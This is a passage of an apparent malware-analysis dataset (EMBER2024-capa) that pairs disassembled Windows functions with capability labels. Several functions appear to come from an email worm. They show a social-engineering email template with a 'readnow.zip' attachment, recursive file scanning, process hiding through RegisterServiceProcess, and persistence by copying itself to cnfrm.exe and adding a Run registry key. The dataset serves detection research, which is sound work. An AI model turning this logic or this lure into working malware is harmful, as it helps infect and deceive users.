joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417ed0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, eax
xor ebp, ebp
cmp esi, 0xffffffff
push edi
mov dword [esp + 0x14], ebp
je 0x4180f2
push 0x400
call fcn.00401fd3
add esp, 4
push 0x400
mov ebx, eax
push ebp
push ebx
mov dword [esp + 0x24], ebx
call fcn.00405a30
add esp, 0xc
push esi
call fcn.00414950
add esp, 4
push ebx
push eax
call fcn.00414c40
add esp, 8
test eax, eax
je 0x4180e5
lea edi, [ebx + 4]
mov eax, 4
mov ecx, 0x422160
mov edx, edi
mov ebp, dword [edx]
cmp ebp, dword [ecx]
jne 0x417f4c
sub eax, 4
add ecx, 4
add edx, 4
cmp eax, 4
jae 0x417f34
test eax, eax
je 0x417fb5
movzx ebp, byte [ecx]
movzx ebx, byte [edx]
sub ebx, ebp
jne 0x417f9b
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x417fb1
movzx ebp, byte [ecx]
movzx ebx, byte [edx]
sub ebx, ebp
jne 0x417f9b
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x417fb1
movzx ebp, byte [ecx]
movzx ebx, byte [edx]
sub ebx, ebp
jne 0x417f9b
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x417fb1
movzx eax, byte [ecx]
movzx ebx, byte [edx]
sub ebx, eax
je 0x417fb1
mov ebp, dword [esp + 0x14]
test ebx, ebx
mov ebx, dword [esp + 0x18]
mov eax, 1
jg 0x417fbb
or eax, 0xffffffff
jmp 0x417fbb
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
xor eax, eax
test eax, eax
jne 0x417fe5
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
jmp 0x417fd0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x417fd0
sub eax, edx
sar eax, 1
jne 0x4180d1
lea ecx, [esp + 0x1c]
push ecx
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push 0x400
push ebx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
push esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], 0x3c00
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4180e5
mov eax, 4
mov ecx, 0x422168
mov edx, edi
mov esi, dword [edx]
cmp esi, dword [ecx]
jne 0x41804e
sub eax, 4
add ecx, 4
add edx, 4
cmp eax, 4
jae 0x418036
test eax, eax
je 0x4180ab
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x41809d
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4180ab
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x41809d
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4180ab
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x41809d
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4180ab
movzx esi, byte [edx]
movzx eax, byte [ecx]
sub esi, eax
je 0x4180ab
test esi, esi
mov eax, 1
jg 0x4180ad
or eax, 0xffffffff
jmp 0x4180ad
xor eax, eax
test eax, eax
jne 0x4180e5
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4180c0
sub eax, edx
sar eax, 1
je 0x4180e5
mov edi, dword [esp + 0x34]
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ebp, 1
test ebx, ebx
je 0x4180f2
push ebx
call fcn.00401dd8
add esp, 4
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x418100
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push 0x206
lea eax, [esp + 0xe]
push 0
push eax
mov word [esp + 0x14], 0
call fcn.00405a30
add esp, 0xc
push 0x104
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx edx, word [esp + 8]
sub edx, 0x41
lea ebx, [esp + 4]
call fcn.00414a90
mov ebx, dword [esp + 4]
call fcn.00414b90
cmp eax, 0xffffffff
jne 0x41817f
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040113c
add esp, 0x218
ret
push esi
call fcn.00417ed0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.0040113c
add esp, 0x218
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x4011cb
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47201c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x472028
push 0x472024
push 0x472020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x472028]
push dword [0x472024]
push dword [0x472020]
mov dword [0x472014], esp
call fcn.004048a0
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x401381
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], 1
mov dword [section..bss], 0
mov dword [ebp - 8], pe_nt_image_headers32
jmp 0x4013f6
mov edi, dword [ebp - 0xc]
test edi, 1
je 0x4013b6
mov ebx, 0xedb88320
jmp 0x4013bb
mov ebx, 0
shr edi, 1
xor edi, ebx
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
add esi, edi
mov edi, dword [edi*4 + section..bss]
xor edi, dword [ebp - 0xc]
mov dword [esi*4 + section..bss], edi
mov edi, dword [ebp - 8]
shl edi, 1
add dword [ebp - 4], edi
cmp dword [ebp - 4], 0x100
jb 0x4013c9
shr dword [ebp - 8], 1
cmp dword [ebp - 8], 0
jne 0x4013a4
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40171a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push edi
push 0x472acd
push dword [ebp + 8]
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401747
mov eax, 0
jmp 0x40186b
push dword [ebp - 8]
call sub.CRTDLL.DLL__fileno
add esp, 4
mov edi, eax
push edi
call sub.CRTDLL.DLL__filelength
add esp, 4
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40177e
mov eax, 0
jmp 0x40186b
push dword [ebp - 8]
push dword [ebp - 0xc]
push 1
push dword [ebp - 4]
call sub.CRTDLL.DLL_fread
add esp, 0x10
push dword [ebp - 0xc]
push dword [ebp - 4]
call fcn.0040186e
add esp, 8
mov dword [ebp - 0x110], eax
imul edi, dword [ebp - 0xc], 3
add edi, 0x2800
push edi
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 0x114], eax
lea edi, [ebp - 0x10c]
push edi
call fcn.00401b81
add esp, 4
push 0
lea edi, [ebp - 0x214]
push edi
call fcn.00401a58
add esp, 8
push 0
lea edi, [ebp - 0x314]
push edi
call fcn.00401a58
add esp, 8
lea edi, [ebp - 0x10c]
push edi
push dword [ebp - 0x110]
lea edi, [ebp - 0x10c]
push edi
lea edi, [ebp - 0x314]
push edi
lea edi, [ebp - 0x10c]
push edi
lea edi, [ebp - 0x10c]
push edi
lea edi, [ebp - 0x214]
push edi
push str.X_Priority:_1__High__nSubject:_dont_be_late________________________________s_nMIME_Version:_1.0_nContent_Type:_multipart_mixed__boundary__s__n_n___s_nContent_Type:_text_plain__charsetus_ascii_nContent_Transfer_Encoding:_7bit_n_n_n_nWill_meet_tonight_as_we_agreed__because_on_Wednesday_I_dont_think_Ill_make_it__n_nso_dont_be_late._And_yes__by_the_way_here_is_the_file_you_asked_for._nIts_all_written_there._See_you._n_n_s_n_n___s_nContent_Type:_application_x_zip_compressed__name_readnow.zip__nContent_Transfer_Encoding:_base64_nContent_Disposition:_attachment__filename_readnow.zip__n_n_s_n_n___s___n
push dword [ebp - 0x114]
call sub.CRTDLL.DLL_sprintf
add esp, 0x24
cmp dword [ebp - 0x110], 0
je 0x401849
push dword [ebp - 0x110]
call sub.CRTDLL.DLL_free
add esp, 4
cmp dword [ebp - 4], 0
je 0x40185a
push dword [ebp - 4]
call sub.CRTDLL.DLL_free
add esp, 4
push dword [ebp - 8]
call sub.CRTDLL.DLL_fclose
add esp, 4
mov eax, dword [ebp - 0x114]
pop edi
leave
ret
Function at 0x4021da
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov dword [ebp - 4], 0
jmp 0x4022da
imul edi, dword [ebp - 4], 0x61c
cmp dword [edi + 0x4067e0], 1
jne 0x4022d7
call sub.KERNEL32.DLL_GetTickCount
imul esi, dword [ebp - 4], 0x61c
mov edi, eax
sub edi, dword [esi + 0x4067d8]
mov dword [ebp - 8], edi
cmp dword [ebp - 8], 0x1d4c0
jle 0x4022d7
imul edi, dword [ebp - 4], 0x61c
cmp dword [edi + 0x4067d0], 0
je 0x4022d7
push 0
imul edi, dword [ebp - 4], 0x61c
push dword [edi + 0x4067d0]
call sub.KERNEL32.DLL_TerminateThread
imul edi, dword [ebp - 4], 0x61c
cmp dword [edi + 0x4068e4], 0
je 0x40227f
cmp dword [edi + 0x4068e4], 0xffffffff
je 0x40227f
imul edi, dword [ebp - 4], 0x61c
push dword [edi + 0x4068e4]
call sub.wsock32.dll_closesocket
imul edi, dword [ebp - 4], 0x61c
cmp dword [edi + 0x4068e8], 0
je 0x4022ad
cmp dword [edi + 0x4068e8], 0xffffffff
je 0x4022ad
imul edi, dword [ebp - 4], 0x61c
push dword [edi + 0x4068e4]
call sub.wsock32.dll_closesocket
imul edi, dword [ebp - 4], 0x61c
mov dword [edi + 0x4067d0], 0
imul edi, dword [ebp - 4], 0x61c
mov dword [edi + 0x4067e0], 0
dec dword [0x405930]
inc dword [ebp - 4]
mov edi, dword [0x405934]
cmp dword [ebp - 4], edi
jl 0x4021ed
mov eax, 0
pop edi
pop esi
leave
ret

Function at 0x4022f2
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
push esi
push edi
lea edi, [ebp - 0x51c]
lea esi, [0x4720dc]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 8], 0
lea edi, [ebp - 0x51c]
mov dword [ebp - 4], edi
mov dword [ebp - 0x110], 1
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10c], edi
mov dword [ebp - 0x118], 3
mov dword [ebp - 0x114], 0
push 0
push 1
push dword [ebp - 4]
push dword [ebp + 8]
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
lea edi, [ebp - 0x118]
push edi
push 0
push 0
lea edi, [ebp - 0x110]
push edi
push 0
call sub.wsock32.dll_select
mov dword [ebp - 0xc], eax
add dword [ebp - 4], 1
inc dword [ebp - 0x11c]
cmp dword [ebp - 8], 0
je 0x402395
cmp dword [ebp - 0xc], 0
jne 0x402351
mov edi, dword [ebp - 4]
mov byte [edi], 0
push 3
push 0x4727fd
lea edi, [ebp - 0x51c]
push edi
call sub.CRTDLL.DLL_strncmp
add esp, 0xc
cmp eax, 0
je 0x40240c
push 3
push 0x4727f9
lea edi, [ebp - 0x51c]
push edi
call sub.CRTDLL.DLL_strncmp
add esp, 0xc
cmp eax, 0
je 0x40240c
push 3
push 0x4727f5
lea edi, [ebp - 0x51c]
push edi
call sub.CRTDLL.DLL_strncmp
add esp, 0xc
cmp eax, 0
je 0x40240c
push 3
push 0x4727f1
lea edi, [ebp - 0x51c]
push edi
call sub.CRTDLL.DLL_strncmp
add esp, 0xc
cmp eax, 0
jne 0x402413
mov eax, 0
jmp 0x402418
mov eax, 1
pop edi
pop esi
leave
ret
Function at 0x402c7f
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
push edi
push dword [ebp + 8]
call sub.CRTDLL.DLL_strlen
add esp, 4
cmp eax, 0xf0
jbe 0x402ca0
jmp 0x402e06
push 0xfa
push dword [ebp + 8]
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
push dword [ebp + 8]
push 0x405ec0
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x4727dc
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
lea edi, [ebp - 0x140]
push edi
lea edi, [ebp - 0x244]
push edi
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x248], eax
mov edi, dword [ebp - 0x140]
and edi, 0x10
mov dword [ebp - 0x140], edi
cmp edi, 0
je 0x402d98
push 0x4727da
lea edi, [ebp - 0x114]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
cmp eax, 0
je 0x402deb
push 0x4727d7
lea edi, [ebp - 0x114]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
cmp eax, 0
je 0x402deb
push dword [ebp + 8]
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcpy
add esp, 8
lea edi, [ebp - 0x114]
push edi
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x4727d5
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
lea edi, [ebp - 0x244]
push edi
call fcn.00402c7f
add esp, 4
jmp 0x402deb
push dword [ebp + 8]
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcpy
add esp, 8
lea edi, [ebp - 0x114]
push edi
lea edi, [ebp - 0x244]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
lea edi, [ebp - 0x114]
push edi
push 0x405ec0
push str._s_s
push 0x4060c3
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push 0x4060c3
call fcn.00402ec6
add esp, 4
lea edi, [ebp - 0x140]
push edi
push dword [ebp - 0x248]
call sub.KERNEL32.DLL_FindNextFileA
cmp eax, 0
jne 0x402cf9
pop edi
leave
ret
Function at 0x402ec6
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov dword [ebp - 8], 0
push dword [ebp + 8]
call fcn.00402e09
add esp, 4
cmp eax, 0
je 0x402ee9
jmp 0x40303f
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40302f
mov dword [ebp - 0x10], 0
lea edi, [ebp - 0x10]
push edi
push dword [ebp - 4]
call sub.KERNEL32.DLL_GetFileSize
mov dword [0x405400], eax
cmp dword [ebp - 0x10], 0
je 0x402f3b
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x40303f
cmp dword [0x405400], 0xffffffff
je 0x403025
push dword [0x405400]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40300d
push 0
lea edi, [ebp - 0xc]
push edi
push dword [0x405400]
push dword [ebp - 0x14]
push dword [ebp - 4]
call sub.KERNEL32.DLL_ReadFile
cmp eax, 0
jne 0x402f8c
push str.Read_error_n
call sub.CRTDLL.DLL_printf
add esp, 4
lea edi, [ebp - 8]
push edi
push dword [0x405400]
push dword [ebp - 0x14]
call fcn.00404580
add esp, 0xc
mov dword [0x4724dc], eax
cmp dword [0x4724dc], 0
jne 0x402fb1
jmp 0x403000
push dword [0x4724dc]
call fcn.0040126a
add esp, 4
mov edi, eax
cmp edi, 0
jne 0x402ffe
push dword [0x4724dc]
call sub.CRTDLL.DLL_strlen
add esp, 4
cmp eax, 6
jbe 0x402ffe
push 0xff
push dword [0x4724dc]
push 0x471ee0
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x471ee0
call fcn.00402c3e
add esp, 4
jmp 0x402f8c
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_free
add esp, 4
jmp 0x403025
push dword [0x405400]
push 0x4060c3
push str.Memory_allocation_error__file__s__size__d_n
call sub.CRTDLL.DLL_printf
add esp, 0xc
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x40303f
push dword [ebp + 8]
push str.Failed_to_open__s_n
call sub.CRTDLL.DLL_printf
add esp, 8
pop edi
leave
ret

Function at 0x403042
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push edi
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x208], 0x200
mov dword [ebp - 0x20c], 0x200
lea edi, [ebp - 0x210]
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyA
cmp eax, 0
jne 0x403125
jmp 0x4030e6
lea edi, [ebp - 0x200]
push edi
call sub.CRTDLL.DLL_strlen
add esp, 4
mov edi, eax
sub edi, 1
cmp byte [ebp + edi - 0x200], 0x5c
je 0x4030bd
push 0x4727d5
lea edi, [ebp - 0x200]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
mov dword [ebp - 0x208], 0x200
mov dword [ebp - 0x20c], 0x200
inc dword [ebp - 0x204]
lea edi, [ebp - 0x200]
push edi
call fcn.00402c7f
add esp, 4
lea edi, [ebp - 0x20c]
push edi
lea edi, [ebp - 0x200]
push edi
lea edi, [ebp - 0x414]
push edi
push 0
lea edi, [ebp - 0x208]
push edi
lea edi, [ebp - 0x410]
push edi
push dword [ebp - 0x204]
push dword [ebp - 0x210]
call sub.ADVAPI32.DLL_RegEnumValueA
cmp eax, 0
je 0x40308b
push dword [ebp - 0x210]
call sub.ADVAPI32.DLL_RegCloseKey
pop edi
leave
ret
Function at 0x403b74
Capabilities:
Delete file
Get common file path
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e4
push edi
lea edi, [0x47260a]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], 0
push str.kernel32.dll
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [ebp - 0x54], eax
cmp eax, 0
je 0x403bbd
push str.RegisterServiceProcess
push dword [ebp - 0x54]
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x403bbd
push 1
push 0
call dword [ebp - 0x28]
call fcn.00401250
mov dword [0x405a80], 0
mov dword [0x405a84], 0
mov dword [0x405e88], 0
lea edi, [ebp - 0x1e4]
push edi
push 1
call sub.wsock32.dll_WSAStartup
cmp eax, 0
je 0x403bfd
mov eax, 0
jmp 0x403d99
call fcn.0040417c
cmp eax, 0
jne 0x403c11
mov eax, 0
jmp 0x403d99
push 0x104
push 0x405514
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x104
push 0x405514
push 0x405618
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
push str.zip.tmp
push 0x405618
call sub.CRTDLL.DLL_strncat
add esp, 0xc
push 0x405618
call sub.KERNEL32.DLL_DeleteFileA
push 0x104
push 0x405514
push 0x40571c
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
push str.exe.tmp
push 0x40571c
call sub.CRTDLL.DLL_strncat
add esp, 0xc
push 0x40571c
call sub.KERNEL32.DLL_DeleteFileA
push 0x104
push 0x405514
push 0x405820
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
push str.eml.tmp
push 0x405820
call sub.CRTDLL.DLL_strncat
add esp, 0xc
push 0x405820
call sub.KERNEL32.DLL_DeleteFileA
call fcn.004042e2
push 0x405618
push 0x40571c
call fcn.00401469
add esp, 8
push dword [ebp - 0x24]
push dword [ebp + 8]
lea edi, [ebp - 0x50]
push edi
call fcn.00403e58
add esp, 0xc
lea edi, [ebp - 0x50]
push edi
call sub.USER32.DLL_RegisterClassA
or ax, ax
jne 0x403d09
mov eax, 0
jmp 0x403d99
push 0
push dword [ebp + 8]
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x47260a
push dword [ebp - 0x24]
push 0
call sub.USER32.DLL_CreateWindowExA
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x403d5d
push 0
push 0x4725b0
push str.Error_creating_window_n
push 0
call sub.USER32.DLL_MessageBoxA
mov eax, 0
jmp 0x403d99
push 0
push 0x1388
push 1
push dword [ebp - 0x20]
call sub.USER32.DLL_SetTimer
jmp 0x403d82
lea edi, [ebp - 0x1c]
push edi
call sub.USER32.DLL_TranslateMessage
lea edi, [ebp - 0x1c]
push edi
call sub.USER32.DLL_DispatchMessageA
push 0
push 0
push 0
lea edi, [ebp - 0x1c]
push edi
call sub.USER32.DLL_GetMessageA
cmp eax, 0
jne 0x403d70
mov eax, dword [ebp - 0x14]
pop edi
leave
ret 0x10
Function at 0x40417c
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push edi
lea edi, [ebp - 0x108]
mov dword [ebp - 0x210], edi
call sub.KERNEL32.DLL_GetCommandLineA
push 0x104
push eax
lea edi, [ebp - 0x108]
push edi
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
mov edi, dword [ebp - 0x210]
cmp byte [edi], 0x22
jne 0x4041c3
add dword [ebp - 0x210], 1
mov dword [ebp - 4], 0
jmp 0x4041e7
mov edi, dword [ebp - 4]
cmp byte [ebp + edi - 0x108], 0x22
jne 0x4041e4
mov edi, dword [ebp - 4]
mov byte [ebp + edi - 0x108], 0
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x104
jl 0x4041cc
push 0x104
push dword [ebp - 0x210]
push 0x405410
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
lea edi, [ebp - 0x20c]
push edi
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push str.cnfrm.exe
lea edi, [ebp - 0x20c]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0
lea edi, [ebp - 0x20c]
push edi
push dword [ebp - 0x210]
call sub.KERNEL32.DLL_CopyFileA
lea edi, [ebp - 0x214]
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyA
lea edi, [ebp - 0x20c]
push edi
call sub.CRTDLL.DLL_strlen
add esp, 4
push eax
lea edi, [ebp - 0x20c]
push edi
push 1
push 0
push str.Cnfrm32
push dword [ebp - 0x214]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0x214]
call sub.ADVAPI32.DLL_RegCloseKey
push 0
push pe_nt_image_headers32
push 3
push 0
push 2
push 0x40000000
lea edi, [ebp - 0x20c]
push edi
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0xffffffff
jne 0x4042c1
mov eax, 1
jmp 0x4042df
push dword [ebp - 0x218]
call sub.KERNEL32.DLL_CloseHandle
push 0
lea edi, [ebp - 0x20c]
push edi
call sub.KERNEL32.DLL_WinExec
mov eax, 0
pop edi
leave
ret

Function at 0x4042e2
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
push 0x40571c
call sub.KERNEL32.DLL_DeleteFileA
push 0x472ad0
push 0x40571c
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x404318
mov eax, 1
jmp 0x4043c3
push 0x472acd
push 0x405410
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40433d
mov eax, 1
jmp 0x4043c3
push dword [ebp - 8]
call sub.CRTDLL.DLL__fileno
add esp, 4
mov edi, eax
push edi
call sub.CRTDLL.DLL__filelength
add esp, 4
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404371
mov eax, 1
jmp 0x4043c3
push dword [ebp - 8]
push dword [ebp - 0x10]
push 1
push dword [ebp - 4]
call sub.CRTDLL.DLL_fread
add esp, 0x10
push dword [ebp - 0xc]
push 1
push dword [ebp - 0x10]
push dword [ebp - 4]
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
cmp dword [ebp - 4], 0
je 0x4043a8
push dword [ebp - 4]
call sub.CRTDLL.DLL_free
add esp, 4
push dword [ebp - 8]
call sub.CRTDLL.DLL_fclose
add esp, 4
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_fclose
add esp, 4
mov eax, 0
pop edi
leave
ret
Function at 0x4048a0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
cmp byte [edi], 0x22
jne 0x4048d4
push 0x22
mov eax, edi
inc eax
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 4], eax
or eax, eax
je 0x4048ef
mov edi, eax
inc edi
jmp 0x4048cc
inc edi
cmp byte [edi], 0x20
je 0x4048cb
jmp 0x4048ef
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x4048e0
cmp eax, 0x20
jne 0x4048d3
jmp 0x4048e3
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x4048ef
cmp eax, 0x20
je 0x4048e2
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 1
push edi
push 0
push eax
call fcn.00403b74
pop edi
leave
ret